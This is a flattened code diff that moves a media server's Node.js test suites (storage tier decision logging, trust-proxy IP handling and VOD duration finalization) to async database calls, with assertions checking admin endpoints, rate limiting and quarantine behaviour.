model.sync('vod', id);-- return key;-- };-- const decisions = (vodId) => db.all('SELECT * FROM media_tier_decisions WHERE vod_id = ? ORDER BY id', [vodId]);++ const bytes = crypto.randomBytes(200000);++ const addVod = async (id, { app = 'live', provider = 'local', views = 0, accessed = null } = {}) => {++ const name = `vod-${app}-${id}-1726900000000.webm`;++ const key = `vods/${name}`;++ if (provider === 'local') fs.writeFileSync(path.join(process.env.VOD_PATH, name), bytes);++ else { buckets['b2-bucket'].set(key, bytes); if (provider === 'r2') buckets['r2-bucket'].set(key, bytes); }++ await db.run(`INSERT INTO vods (id, app_id, title, file_path, file_size, is_public, visibility, duration_seconds, storage_provider, storage_key, view_count, last_accessed_at, created_at) OVERRIDING SYSTEM VALUE++ VALUES (?, ?, 't', ?, ?, 1, 'public', 60, ?, ?, ?, ${accessed ? `datetime('now', '${accessed}')` : 'NULL'}, datetime('now')) RETURNING id`,++ [id, app, path.join(process.env.VOD_PATH, name), bytes.length, provider, provider === 'local' ? null : key, views]);++ await model.sync('vod', id);++ return key;++ };++ const decisions = async (vodId) => await db.all('SELECT * FROM media_tier_decisions WHERE vod_id = ? ORDER BY id', [vodId]);-- // ── 1. The sweep: a popular VOD is promoted, an idle R2 VOD demoted, each with its reason ──-- addVod(1, { views: 25, accessed: '-1 hours' });-- addVod(2, { provider: 'r2', views: 3, accessed: '-30 days' });-- addVod(3, { views: 5, accessed: '-1 hours' }); // below the threshold: no decision-- const sweep = await storage.runSweep();-- assert.deepStrictEqual([sweep.promoted, sweep.demoted], [1, 1], JSON.stringify(sweep));-- const [p] = decisions(1);-- assert.deepStrictEqual([p.action, p.from_provider, p.to_provider, p.outcome, p.trigger], ['promote', 'local', 'r2', 'done', 'sweep']);-- assert.ok(/view_count 25 >= r2MinViews 20/.test(p.reason) && /r2RecentAccessDays 3/.test(p.reason), p.reason);-- const pin = JSON.parse(p.inputs);-- assert.deepStrictEqual([pin.view_count, pin.storage_provider, pin.is_recording, pin.held], [25, 'local', false, false]);-- assert.deepStrictEqual(JSON.parse(p.thresholds).r2MinViews, { value: 20, source: 'default' });-- const [d] = decisions(2);-- assert.deepStrictEqual([d.action, d.from_provider, d.to_provider, d.outcome, d.trigger], ['demote', 'r2', 'b2', 'done', 'sweep']);-- assert.ok(/idle longer than r2MaxIdleDays 14/.test(d.reason), d.reason);-- assert.strictEqual(decisions(3).length, 0);-- console.log('✅ sweep promotions and demotions are logged with inputs, thresholds (and their source) and the reason');++ // ── 1. The sweep: a popular VOD is promoted, an idle R2 VOD demoted, each with its reason ──++ await addVod(1, { views: 25, accessed: '-1 hours' });++ await addVod(2, { provider: 'r2', views: 3, accessed: '-30 days' });++ await addVod(3, { views: 5, accessed: '-1 hours' }); // below the threshold: no decision++ const sweep = await storage.runSweep();++ assert.deepStrictEqual([sweep.promoted, sweep.demoted], [1, 1], JSON.stringify(sweep));++ const [p] = await decisions(1);++ assert.deepStrictEqual([p.action, p.from_provider, p.to_provider, p.outcome, p.trigger], ['promote', 'local', 'r2', 'done', 'sweep']);++ assert.ok(/view_count 25 >= r2MinViews 20/.test(p.reason) && /r2RecentAccessDays 3/.test(p.reason), p.reason);++ const pin = JSON.parse(p.inputs);++ assert.deepStrictEqual([pin.view_count, pin.storage_provider, pin.is_recording, pin.held], [25, 'local', false, false]);++ assert.deepStrictEqual(JSON.parse(p.thresholds).r2MinViews, { value: 20, source: 'default' });++ const [d] = await decisions(2);++ assert.deepStrictEqual([d.action, d.from_provider, d.to_provider, d.outcome, d.trigger], ['demote', 'r2', 'b2', 'done', 'sweep']);++ assert.ok(/idle longer than r2MaxIdleDays 14/.test(d.reason), d.reason);++ assert.strictEqual((await decisions(3)).length, 0);++ console.log('✅ sweep promotions and demotions are logged with inputs, thresholds (and their source) and the reason');-- // ── 2. Every other path and outcome: admin move (refused: held; failed: R2 down), clip hot-fetch, drill ──-- const express = require('express');-- const app = express();-- app.use(express.json());-- app.use('/api/v1/:app/admin/storage', require('../server/admin/routes'));-- const server = await new Promise((r) => { const s = app.listen(0, '127.0.0.1', () => r(s)); });-- const call = (method, p, body, key = 'live-key-tierlog') => new Promise((resolve, reject) => {-- const data = body ? JSON.stringify(body) : '';-- const req = http.request({ host: '127.0.0.1', port: server.address().port, path: p, method,-- headers: { Authorization: `Bearer ${key}`, 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) } },-- (res) => { let b = ''; res.on('data', (c) => { b += c; }); res.on('end', () => resolve({ status: res.statusCode, body: JSON.parse(b || '{}') })); });-- req.on('error', reject);-- req.end(data);-- });-- addVod(4, { views: 1 });-- const hold = model.placeHold({ object_id: db.get('SELECT object_id FROM vods WHERE id = 4').object_id, kind: 'creator_pin', reason: 'test' });-- let r = await call('POST', '/api/v1/live/admin/storage/tiers/move', { vod_id: 4, target: 'r2' });-- assert.strictEqual(r.body.held, true);-- assert.deepStrictEqual([decisions(4)[0].outcome, decisions(4)[0].trigger], ['refused', 'admin']);-- assert.ok(/admin move to r2/.test(decisions(4)[0].reason));-- assert.strictEqual(JSON.parse(decisions(4)[0].inputs).held, true);-- model.releaseHold(hold.id, 'test');-- refusePutTo = 'r2-bucket';-- r = await call('POST', '/api/v1/live/admin/storage/tiers/move', { vod_id: 4, target: 'r2' });-- refusePutTo = null;-- assert.strictEqual(r.body.ok, false);-- const failed = decisions(4)[1];-- assert.deepStrictEqual([failed.outcome, failed.action], ['failed', 'promote']);-- assert.ok(failed.error);-- r = await call('POST', '/api/v1/live/admin/storage/tiers/move', { vod_id: 1, target: 'r2' });-- assert.strictEqual(decisions(1)[1].outcome, 'already', 'a promotion that finds it already there is logged too');-- // Restoring an R2 VOD to local drops its R2 copy: a demotion.-- await storage.moveToHot(1, { trigger: 'clip', reason: 'fetched to local disk to cut clip 9' });-- const hot = decisions(1)[2];-- assert.deepStrictEqual([hot.action, hot.from_provider, hot.to_provider, hot.outcome, hot.trigger], ['demote', 'r2', 'local', 'done', 'clip']);-- await storage.demoteFromR2(2, { trigger: 'drill', reason: 'R2 eviction drill: evict the R2 copy' });-- assert.deepStrictEqual([decisions(2)[1].outcome, decisions(2)[1].trigger], ['already', 'drill']);-- addVod(50, { app: 'games', views: 30, accessed: '-1 hours' });-- await storage.promoteToR2(50, { trigger: 'admin', reason: 'games' });-- console.log('✅ admin moves, clip hot-fetches and the drill are logged; refused (held), failed and already outcomes too');++ // ── 2. Every other path and outcome: admin move (refused: held; failed: R2 down), clip hot-fetch, drill ──++ const express = require('express');++ const app = express();++ app.use(express.json());++ app.use('/api/v1/:app/admin/storage', require('../server/admin/routes'));++ const server = await new Promise((r) => { const s = app.listen(0, '127.0.0.1', () => r(s)); });++ const call = (method, p, body, key = 'live-key-tierlog') => new Promise((resolve, reject) => {++ const data = body ? JSON.stringify(body) : '';++ const req = http.request({ host: '127.0.0.1', port: server.address().port, path: p, method,++ headers: { Authorization: `Bearer ${key}`, 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) } },++ (res) => { let b = ''; res.on('data', (c) => { b += c; }); res.on('end', () => resolve({ status: res.statusCode, body: JSON.parse(b || '{}') })); });++ req.on('error', reject);++ req.end(data);++ });++ await addVod(4, { views: 1 });++ const hold = await model.placeHold({ object_id: (await db.get('SELECT object_id FROM vods WHERE id = 4')).object_id, kind: 'creator_pin', reason: 'test' });++ let r = await call('POST', '/api/v1/live/admin/storage/tiers/move', { vod_id: 4, target: 'r2' });++ assert.strictEqual(r.body.held, true);++ assert.deepStrictEqual([(await decisions(4))[0].outcome, (await decisions(4))[0].trigger], ['refused', 'admin']);++ assert.ok(/admin move to r2/.test((await decisions(4))[0].reason));++ assert.strictEqual(JSON.parse((await decisions(4))[0].inputs).held, true);++ await model.releaseHold(hold.id, 'test');++ refusePutTo = 'r2-bucket';++ r = await call('POST', '/api/v1/live/admin/storage/tiers/move', { vod_id: 4, target: 'r2' });++ refusePutTo = null;++ assert.strictEqual(r.body.ok, false);++ const failed = (await decisions(4))[1];++ assert.deepStrictEqual([failed.outcome, failed.action], ['failed', 'promote']);++ assert.ok(failed.error);++ r = await call('POST', '/api/v1/live/admin/storage/tiers/move', { vod_id: 1, target: 'r2' });++ assert.strictEqual((await decisions(1))[1].outcome, 'already', 'a promotion that finds it already there is logged too');++ // Restoring an R2 VOD to local drops its R2 copy: a demotion.++ await storage.moveToHot(1, { trigger: 'clip', reason: 'fetched to local disk to cut clip 9' });++ const hot = (await decisions(1))[2];++ assert.deepStrictEqual([hot.action, hot.from_provider, hot.to_provider, hot.outcome, hot.trigger], ['demote', 'r2', 'local', 'done', 'clip']);++ await storage.demoteFromR2(2, { trigger: 'drill', reason: 'R2 eviction drill: evict the R2 copy' });++ assert.deepStrictEqual([(await decisions(2))[1].outcome, (await decisions(2))[1].trigger], ['already', 'drill']);++ await addVod(50, { app: 'games', views: 30, accessed: '-1 hours' });++ await storage.promoteToR2(50, { trigger: 'admin', reason: 'games' });++ console.log('✅ admin moves, clip hot-fetches and the drill are logged; refused (held), failed and already outcomes too');-- // ── 3. The read-only staff policy endpoint and the decision list (app-scoped) ──-- r = await call('GET', '/api/v1/live/admin/storage/tiers/policy');-- assert.strictEqual(r.status, 200);-- const pol = r.body;-- assert.deepStrictEqual(pol.r2.thresholds.r2MinViews, { value: 20, default: 20, source: 'default' });-- assert.deepStrictEqual(pol.r2.thresholds.r2MaxIdleDays, { value: 14, default: 14, source: 'default' });-- assert.strictEqual(pol.r2.enabled, true);-- assert.ok(/view_count >= r2MinViews \(20\)/.test(pol.r2.promote) && /r2MaxIdleDays \(14 days\)/.test(pol.r2.demote));-- assert.strictEqual(pol.r2.provider.configured, true);-- assert.deepStrictEqual(pol.decisions.last_24h.promote, { done: 1, already: 1, refused: 1, failed: 1 });-- assert.deepStrictEqual(pol.decisions.last_24h.demote, { done: 2, already: 1, refused: 0, failed: 0 });-- assert.ok(pol.decisions.recent.every(x => x.vod_id !== 50), 'another app\'s decisions are not listed');-- assert.ok(pol.decisions.recent[0].inputs && pol.decisions.recent[0].thresholds, 'each decision carries its inputs and thresholds');-- await call('PUT', '/api/v1/live/admin/storage/tiers/settings', { r2MinViews: 20 });-- r = await call('GET', '/api/v1/live/admin/storage/tiers/policy');-- assert.deepStrictEqual(r.body.r2.thresholds.r2MinViews, { value: 20, default: 20, source: 'setting' }, 'an override shows as a setting');-- r = await call('GET', '/api/v1/live/admin/storage/tiers/decisions?action=demote&limit=2');-- assert.deepStrictEqual([r.body.decisions.length, r.body.decisions.every(x => x.action === 'demote'), r.body.next_before_id != null], [2, true, true]);-- const next = await call('GET', `/api/v1/live/admin/storage/tiers/decisions?action=demote&limit=2&before_id=${r.body.next_before_id}`);-- assert.strictEqual(next.body.decisions.length, 1);-- r = await call('GET', '/api/v1/live/admin/storage/tiers/decisions?vod_id=4');-- assert.deepStrictEqual(r.body.decisions.map(x => x.outcome), ['failed', 'refused']);-- assert.strictEqual((await call('GET', '/api/v1/live/admin/storage/tiers/decisions?action=move')).status, 400);-- assert.strictEqual((await call('GET', '/api/v1/games/admin/storage/tiers/decisions', null, 'games-key-tierlog')).body.decisions.length, 1);-- assert.strictEqual((await call('GET', '/api/v1/live/admin/storage/tiers/policy', null, 'wrong-key')).status >= 401, true, 'staff only (the app key)');-- console.log('✅ GET /tiers/policy: thresholds with their source, the rules, 24 h counts and recent decisions; /tiers/decisions filters and pages');++ // ── 3. The read-only staff policy endpoint and the decision list (app-scoped) ──++ r = await call('GET', '/api/v1/live/admin/storage/tiers/policy');++ assert.strictEqual(r.status, 200);++ const pol = r.body;++ assert.deepStrictEqual(pol.r2.thresholds.r2MinViews, { value: 20, default: 20, source: 'default' });++ assert.deepStrictEqual(pol.r2.thresholds.r2MaxIdleDays, { value: 14, default: 14, source: 'default' });++ assert.strictEqual(pol.r2.enabled, true);++ assert.ok(/view_count >= r2MinViews \(20\)/.test(pol.r2.promote) && /r2MaxIdleDays \(14 days\)/.test(pol.r2.demote));++ assert.strictEqual(pol.r2.provider.configured, true);++ assert.deepStrictEqual(pol.decisions.last_24h.promote, { done: 1, already: 1, refused: 1, failed: 1 });++ assert.deepStrictEqual(pol.decisions.last_24h.demote, { done: 2, already: 1, refused: 0, failed: 0 });++ assert.ok(pol.decisions.recent.every(x => x.vod_id !== 50), 'another app\'s decisions are not listed');++ assert.ok(pol.decisions.recent[0].inputs && pol.decisions.recent[0].thresholds, 'each decision carries its inputs and thresholds');++ await call('PUT', '/api/v1/live/admin/storage/tiers/settings', { r2MinViews: 20 });++ r = await call('GET', '/api/v1/live/admin/storage/tiers/policy');++ assert.deepStrictEqual(r.body.r2.thresholds.r2MinViews, { value: 20, default: 20, source: 'setting' }, 'an override shows as a setting');++ r = await call('GET', '/api/v1/live/admin/storage/tiers/decisions?action=demote&limit=2');++ assert.deepStrictEqual([r.body.decisions.length, r.body.decisions.every(x => x.action === 'demote'), r.body.next_before_id != null], [2, true, true]);++ const next = await call('GET', `/api/v1/live/admin/storage/tiers/decisions?action=demote&limit=2&before_id=${r.body.next_before_id}`);++ assert.strictEqual(next.body.decisions.length, 1);++ r = await call('GET', '/api/v1/live/admin/storage/tiers/decisions?vod_id=4');++ assert.deepStrictEqual(r.body.decisions.map(x => x.outcome), ['failed', 'refused']);++ assert.strictEqual((await call('GET', '/api/v1/live/admin/storage/tiers/decisions?action=move')).status, 400);++ assert.strictEqual((await call('GET', '/api/v1/games/admin/storage/tiers/decisions', null, 'games-key-tierlog')).body.decisions.length, 1);++ assert.strictEqual((await call('GET', '/api/v1/live/admin/storage/tiers/policy', null, 'wrong-key')).status >= 401, true, 'staff only (the app key)');++ console.log('✅ GET /tiers/policy: thresholds with their source, the rules, 24 h counts and recent decisions; /tiers/decisions filters and pages');-- server.close();-- s3.close();-- db.close();-- fs.rmSync(tmp, { recursive: true, force: true });-- console.log('\n✅ All tier decision tests passed');-- process.exit(0);++ server.close();++ s3.close();++ await db.close();++ fs.rmSync(tmp, { recursive: true, force: true });++ console.log('\n✅ All tier decision tests passed');++ process.exit(0);++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -12,88 +12,90 @@ const http = require('http');const { spawn } = require('child_process');const express = require('express');--const { TRUST_PROXY, clientIp } = require('../server/client-ip');++(async () => {++ const { TRUST_PROXY, clientIp } = require('../server/client-ip');--const get = (host, port, p, headers = {}) => new Promise((resolve, reject) => {-- const req = http.request({ host, port, path: p, headers }, (res) => { let b = ''; res.on('data', (c) => { b += c; }); res.on('end', () => resolve({ status: res.statusCode, body: b })); });-- req.on('error', reject);-- req.end();--});--const externalAddress = () => {-- for (const list of Object.values(os.networkInterfaces())) for (const a of list || []) if (a.family === 'IPv4' && !a.internal) return a.address;-- return null;--};++ const get = (host, port, p, headers = {}) => new Promise((resolve, reject) => {++ const req = http.request({ host, port, path: p, headers }, (res) => { let b = ''; res.on('data', (c) => { b += c; }); res.on('end', () => resolve({ status: res.statusCode, body: b })); });++ req.on('error', reject);++ req.end();++ });++ const externalAddress = () => {++ for (const list of Object.values(os.networkInterfaces())) for (const a of list || []) if (a.family === 'IPv4' && !a.internal) return a.address;++ return null;++ };--(async () => {-- assert.strictEqual(TRUST_PROXY, 'loopback');++ (async () => {++ assert.strictEqual(TRUST_PROXY, 'loopback');-- // ── 1. The setting, on an app like index.js's: loopback proxies are believed, nobody else ──-- const app = express();-- app.set('trust proxy', TRUST_PROXY);-- app.get('/ip', (req, res) => res.json({ ip: req.ip, client: clientIp(req) }));-- const server = await new Promise((r) => { const s = app.listen(0, '0.0.0.0', () => r(s)); });-- const port = server.address().port;-- let r = JSON.parse((await get('127.0.0.1', port, '/ip', { 'X-Forwarded-For': '203.0.113.7' })).body);-- assert.deepStrictEqual([r.ip, r.client], ['203.0.113.7', '203.0.113.7'], 'through the local proxy: the forwarded client');-- r = JSON.parse((await get('127.0.0.1', port, '/ip')).body);-- assert.ok(/127\.0\.0\.1$/.test(r.ip), `loopback caller without a proxy header: ${r.ip}`);-- const ext = externalAddress();-- if (ext) {-- r = JSON.parse((await get(ext, port, '/ip', { 'X-Forwarded-For': '198.51.100.9', 'CF-Connecting-IP': '198.51.100.9' })).body);-- assert.ok(r.ip.endsWith(ext) && r.client.endsWith(ext), `a direct caller cannot choose its IP (got ${r.ip})`);-- console.log('✅ a non-loopback peer\'s X-Forwarded-For / CF-Connecting-IP are ignored');-- } else {-- console.log('direct-caller check: skipped (no non-loopback interface)');-- }-- server.close();-- // The view counter keys on req.ip, not on the headers.-- assert.strictEqual(require('../server/views/service').clientIp({ ip: '192.0.2.4', headers: { 'cf-connecting-ip': '9.9.9.9', 'x-forwarded-for': '8.8.8.8' } }), '192.0.2.4');-- assert.strictEqual(clientIp({ socket: { remoteAddress: '::1' }, headers: {} }), '::1');-- console.log('✅ trust proxy loopback: the local proxy\'s forwarded address, else the socket; views key on req.ip');++ // ── 1. The setting, on an app like index.js's: loopback proxies are believed, nobody else ──++ const app = express();++ app.set('trust proxy', TRUST_PROXY);++ app.get('/ip', (req, res) => res.json({ ip: req.ip, client: clientIp(req) }));++ const server = await new Promise((r) => { const s = app.listen(0, '0.0.0.0', () => r(s)); });++ const port = server.address().port;++ let r = JSON.parse((await get('127.0.0.1', port, '/ip', { 'X-Forwarded-For': '203.0.113.7' })).body);++ assert.deepStrictEqual([r.ip, r.client], ['203.0.113.7', '203.0.113.7'], 'through the local proxy: the forwarded client');++ r = JSON.parse((await get('127.0.0.1', port, '/ip')).body);++ assert.ok(/127\.0\.0\.1$/.test(r.ip), `loopback caller without a proxy header: ${r.ip}`);++ const ext = externalAddress();++ if (ext) {++ r = JSON.parse((await get(ext, port, '/ip', { 'X-Forwarded-For': '198.51.100.9', 'CF-Connecting-IP': '198.51.100.9' })).body);++ assert.ok(r.ip.endsWith(ext) && r.client.endsWith(ext), `a direct caller cannot choose its IP (got ${r.ip})`);++ console.log('✅ a non-loopback peer\'s X-Forwarded-For / CF-Connecting-IP are ignored');++ } else {++ console.log('direct-caller check: skipped (no non-loopback interface)');++ }++ server.close();++ // The view counter keys on req.ip, not on the headers.++ assert.strictEqual(require('../server/views/service').clientIp({ ip: '192.0.2.4', headers: { 'cf-connecting-ip': '9.9.9.9', 'x-forwarded-for': '8.8.8.8' } }), '192.0.2.4');++ assert.strictEqual(clientIp({ socket: { remoteAddress: '::1' }, headers: {} }), '::1');++ console.log('✅ trust proxy loopback: the local proxy\'s forwarded address, else the socket; views key on req.ip');-- // ── 2. index.js applies it (the real server, booted) ──-- const src = fs.readFileSync(path.join(__dirname, '../server/index.js'), 'utf8');-- assert.ok(!/set\('trust proxy',\s*true\)/.test(src), 'no trust-everyone left');-- const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-trust-'));-- const freePort = await new Promise((resolve) => { const s = net.createServer().listen(0, '127.0.0.1', () => { const p = s.address().port; s.close(() => resolve(p)); }); });-- const env = { ...process.env, DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: path.join(tmp, 'vods'), CLIPS_PATH: path.join(tmp, 'clips'), PASTES_PATH: path.join(tmp, 'pastes'),-- THUMBNAILS_PATH: path.join(tmp, 'thumbs'), FILES_PATH: path.join(tmp, 'files'), OBJECTS_PATH: path.join(tmp, 'objects'), PORT: String(freePort), HOST: ext ? '0.0.0.0' : '127.0.0.1',-- NODE_ENV: 'test', MEDIA_JOBS_ENABLED: '0', MEDIA_VERIFY_ENABLED: '0', MEDIA_OWNER_SUBJECT_SYNC: '0', EVENTS_URL: '', MEDIA_APP_KEYS: 'live:live-key-for-trust-test' };-- const child = spawn(process.execPath, [path.join(__dirname, '../server/index.js')], { env, stdio: ['ignore', 'pipe', 'pipe'] });-- let log = '';-- child.stdout.on('data', (d) => { log += d; });-- child.stderr.on('data', (d) => { log += d; });-- let up = false;-- for (let i = 0; i < 100 && !up; i++) {-- try { up = (await get('127.0.0.1', freePort, '/healthz')).status === 200; } catch { await new Promise((res) => setTimeout(res, 100)); }-- }-- assert.ok(up, `the server booted: ${log.slice(-500)}`);-- // /metrics answers loopback callers only and refuses anything that came through a proxy; with-- // trust proxy loopback, Express agrees the request came from the local proxy.-- const direct = await get('127.0.0.1', freePort, '/metrics');-- const proxied = await get('127.0.0.1', freePort, '/metrics', { 'X-Forwarded-For': '203.0.113.7' });-- assert.strictEqual(direct.status, 200);-- assert.strictEqual(proxied.status, 404, 'a proxied caller is not local');-- // The live-frame endpoint rate-limits per req.ip (burst 30). Through the local proxy every-- // forwarded client has its own bucket; a direct caller rotating X-Forwarded-For does not.-- const burst = async (host, n) => {-- let limited = 0;-- for (let i = 0; i < n; i++) {-- const res = await get(host, freePort, '/live/1/frame.jpg?format=json', { 'X-Forwarded-For': `198.51.100.${i + 1}` });-- if (res.status === 429) limited++;++ // ── 2. index.js applies it (the real server, booted) ──++ const src = fs.readFileSync(path.join(__dirname, '../server/index.js'), 'utf8');++ assert.ok(!/set\('trust proxy',\s*true\)/.test(src), 'no trust-everyone left');++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-trust-'));++ const freePort = await new Promise((resolve) => { const s = net.createServer().listen(0, '127.0.0.1', () => { const p = s.address().port; s.close(() => resolve(p)); }); });++ const env = { ...process.env, DB_PATH: path.join(tmp, 'media.db'), MEDIA_PGLITE_DIR: path.join(tmp, 'pglite'), DATABASE_URL: '', DATABASE_DIRECT_URL: '', VALKEY_URL: '', VOD_PATH: path.join(tmp, 'vods'), CLIPS_PATH: path.join(tmp, 'clips'), PASTES_PATH: path.join(tmp, 'pastes'),++ THUMBNAILS_PATH: path.join(tmp, 'thumbs'), FILES_PATH: path.join(tmp, 'files'), OBJECTS_PATH: path.join(tmp, 'objects'), PORT: String(freePort), HOST: ext ? '0.0.0.0' : '127.0.0.1',++ NODE_ENV: 'test', MEDIA_JOBS_ENABLED: '0', MEDIA_VERIFY_ENABLED: '0', MEDIA_OWNER_SUBJECT_SYNC: '0', EVENTS_URL: '', MEDIA_APP_KEYS: 'live:live-key-for-trust-test' };++ const child = spawn(process.execPath, [path.join(__dirname, '../server/index.js')], { env, stdio: ['ignore', 'pipe', 'pipe'] });++ let log = '';++ child.stdout.on('data', (d) => { log += d; });++ child.stderr.on('data', (d) => { log += d; });++ let up = false;++ for (let i = 0; i < 100 && !up; i++) {++ try { up = (await get('127.0.0.1', freePort, '/healthz')).status === 200; } catch { await new Promise((res) => setTimeout(res, 100)); }}-- return limited;-- };-- assert.strictEqual(await burst('127.0.0.1', 45), 0, 'forwarded clients each get their own budget');-- if (ext) {-- const limited = await burst(ext, 45);-- assert.ok(limited > 0, 'a direct caller cannot mint new identities with X-Forwarded-For (the real server trusts loopback only)');-- }-- child.kill('SIGTERM');-- await new Promise((res) => child.on('exit', res));-- fs.rmSync(tmp, { recursive: true, force: true });-- console.log('✅ the booted server runs with trust proxy loopback');++ assert.ok(up, `the server booted: ${log.slice(-500)}`);++ // /metrics answers loopback callers only and refuses anything that came through a proxy; with++ // trust proxy loopback, Express agrees the request came from the local proxy.++ const direct = await get('127.0.0.1', freePort, '/metrics');++ const proxied = await get('127.0.0.1', freePort, '/metrics', { 'X-Forwarded-For': '203.0.113.7' });++ assert.strictEqual(direct.status, 200);++ assert.strictEqual(proxied.status, 404, 'a proxied caller is not local');++ // The live-frame endpoint rate-limits per req.ip (burst 30). Through the local proxy every++ // forwarded client has its own bucket; a direct caller rotating X-Forwarded-For does not.++ const burst = async (host, n) => {++ let limited = 0;++ for (let i = 0; i < n; i++) {++ const res = await get(host, freePort, '/live/1/frame.jpg?format=json', { 'X-Forwarded-For': `198.51.100.${i + 1}` });++ if (res.status === 429) limited++;++ }++ return limited;++ };++ assert.strictEqual(await burst('127.0.0.1', 45), 0, 'forwarded clients each get their own budget');++ if (ext) {++ const limited = await burst(ext, 45);++ assert.ok(limited > 0, 'a direct caller cannot mint new identities with X-Forwarded-For (the real server trusts loopback only)');++ }++ child.kill('SIGTERM');++ await new Promise((res) => child.on('exit', res));++ fs.rmSync(tmp, { recursive: true, force: true });++ console.log('✅ the booted server runs with trust proxy loopback');-- console.log('\n✅ All trust-proxy tests passed');-- process.exit(0);++ console.log('\n✅ All trust-proxy tests passed');++ process.exit(0);++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -10,175 +10,177 @@ const os = require('os');const path = require('path');const { spawnSync } = require('child_process');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-duration-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--process.env.DB_PATH = path.join(tmp, 'media.db');--process.env.VOD_PATH = dir('vods');--process.env.CLIPS_PATH = dir('clips');--process.env.THUMBNAILS_PATH = dir('thumbnails');--process.env.FILES_PATH = dir('files');--process.env.PASTES_PATH = dir('pastes');--process.env.OBJECTS_PATH = dir('objects');--process.env.MEDIA_JOBS_ENABLED = '0';----const tools = require('../server/vod/media-tools');----// ── 1. chooseDuration: measured values only, bounded by the recorder's run when known ──--{-- const c = tools.chooseDuration;-- assert.deepStrictEqual(c({ probeS: 600.4 }), { seconds: 600.4, source: 'probe', issues: [] });-- assert.deepStrictEqual(c({ probeS: 0, remuxS: 590 }), { seconds: 590, source: 'remux', issues: [] }, 'no container duration: the packets');-- assert.deepStrictEqual(c({}), { seconds: 0, source: 'unknown', issues: ['probe_failed'] }, 'nothing measured: 0, unknown');-- const inflated = c({ probeS: 86400, remuxS: 600 });-- assert.deepStrictEqual([inflated.seconds, inflated.source], [600, 'remux'], 'a header far longer than the packets is corrupt');-- assert.ok(inflated.issues.includes('inflated_container_duration'));-- const bounded = c({ probeS: 5000, remuxS: 0, wallS: 600 });-- assert.deepStrictEqual([bounded.seconds, bounded.source], [0, 'unknown'], 'longer than the recorder ran: refused, and the wall clock is NOT used');-- assert.ok(bounded.issues.includes('inflated_duration'));-- assert.strictEqual(c({ probeS: 5000, remuxS: 590, wallS: 600 }).source, 'remux', 'the plausible measurement wins');-- assert.strictEqual(c({ probeS: 172800 }).seconds, 172800, 'no start time (orphan): no bound either, only measurements');-- assert.strictEqual(tools.lastProgressSeconds('frame=1 time=00:00:01.00 x\rframe=2 time=01:02:03.50 bitrate'), 3723.5);-- assert.strictEqual(tools.lastProgressSeconds('time=N/A'), 0);-- console.log('✅ chooseDuration: probe, else the packet timeline, else 0/unknown; bounded by the recorder run; never the wall clock');--}----const db = require('../server/db/database');--const finalize = require('../server/vod/finalize');--db.upsertApp({ app_id: 'live', api_key: 'live-key' });----const cols = db.all('PRAGMA table_info(vods)').map(c => c.name);--assert.ok(cols.includes('duration_source'), 'vods.duration_source exists');----const daysAgo = (d) => new Date(Date.now() - d * 864e5).toISOString().replace('T', ' ').slice(0, 19);--function makeVod(file, { createdAt = daysAgo(2), wallDuration = 99999 } = {}) {-- const r = db.run(`INSERT INTO vods (app_id, user_id, title, file_path, is_recording, duration_seconds, created_at, is_public, visibility)-- VALUES ('live', 7, 'rec', ?, 1, ?, ?, 1, 'public')`, [file, wallDuration, createdAt]);-- return Number(r.lastInsertRowid);--}--const row = (id) => db.get('SELECT * FROM vods WHERE id = ?', [id]);----const realTools = { ...tools };--function restore() { Object.assign(tools, realTools); }--(async () => {-- // ── 2. Probe failure: 0 + needs_review + hidden; the live wall-clock estimate is not kept ──++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-duration-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ process.env.DB_PATH = path.join(tmp, 'media.db');++ process.env.VOD_PATH = dir('vods');++ process.env.CLIPS_PATH = dir('clips');++ process.env.THUMBNAILS_PATH = dir('thumbnails');++ process.env.FILES_PATH = dir('files');++ process.env.PASTES_PATH = dir('pastes');++ process.env.OBJECTS_PATH = dir('objects');++ process.env.MEDIA_JOBS_ENABLED = '0';++++ const tools = require('../server/vod/media-tools');++++ // ── 1. chooseDuration: measured values only, bounded by the recorder's run when known ──{-- const file = path.join(process.env.VOD_PATH, 'garbage.mp4');-- fs.writeFileSync(file, Buffer.alloc(20000, 7));-- const id = makeVod(file);-- tools.remuxForSeekingDetailed = async () => ({ ok: false, seconds: 0, error: 'ffmpeg remux exited 1' });-- tools.probeDuration = async () => ({ ok: false, seconds: 0, format: null, streams: [], error: 'unreadable' });-- tools.streamCopyDuration = async () => ({ ok: false, seconds: 0, error: 'no packets' });-- await finalize.finalizeVod(id);-- const v = row(id);-- assert.strictEqual(v.duration_seconds, 0, 'probe failure stores 0, not the recorder\'s wall-clock estimate');-- assert.strictEqual(v.duration_source, 'unknown');-- assert.strictEqual(v.health_status, 'needs_review');-- const issues = JSON.parse(v.health_issues_json);-- assert.ok(issues.includes('probe_failed') && issues.includes('remux_failed'), `issues: ${issues}`);-- assert.strictEqual(v.is_recording, 0);-- assert.strictEqual(v.is_public, 0, 'hidden until reviewed');-- assert.ok(v.quarantined_at);---- // A later finalize that can measure it lifts the quarantine (the vod.finalize retry job does this).-- tools.probeDuration = async () => ({ ok: true, seconds: 1234.4, format: { format_name: 'mp4' }, streams: [], error: null });-- await finalize.finalizeVod(id);-- const w = row(id);-- assert.deepStrictEqual([w.duration_seconds, w.duration_source, w.health_status], [1234, 'probe', 'ok']);-- assert.strictEqual(w.quarantined_at, null, 'quarantine lifted');-- assert.strictEqual(w.is_public, 1, 'back to the visibility its owner chose');-- restore();-- console.log('✅ probe failure: duration 0, duration_source unknown, needs_review, hidden; a later good finalize lifts it');++ const c = tools.chooseDuration;++ assert.deepStrictEqual(c({ probeS: 600.4 }), { seconds: 600.4, source: 'probe', issues: [] });++ assert.deepStrictEqual(c({ probeS: 0, remuxS: 590 }), { seconds: 590, source: 'remux', issues: [] }, 'no container duration: the packets');++ 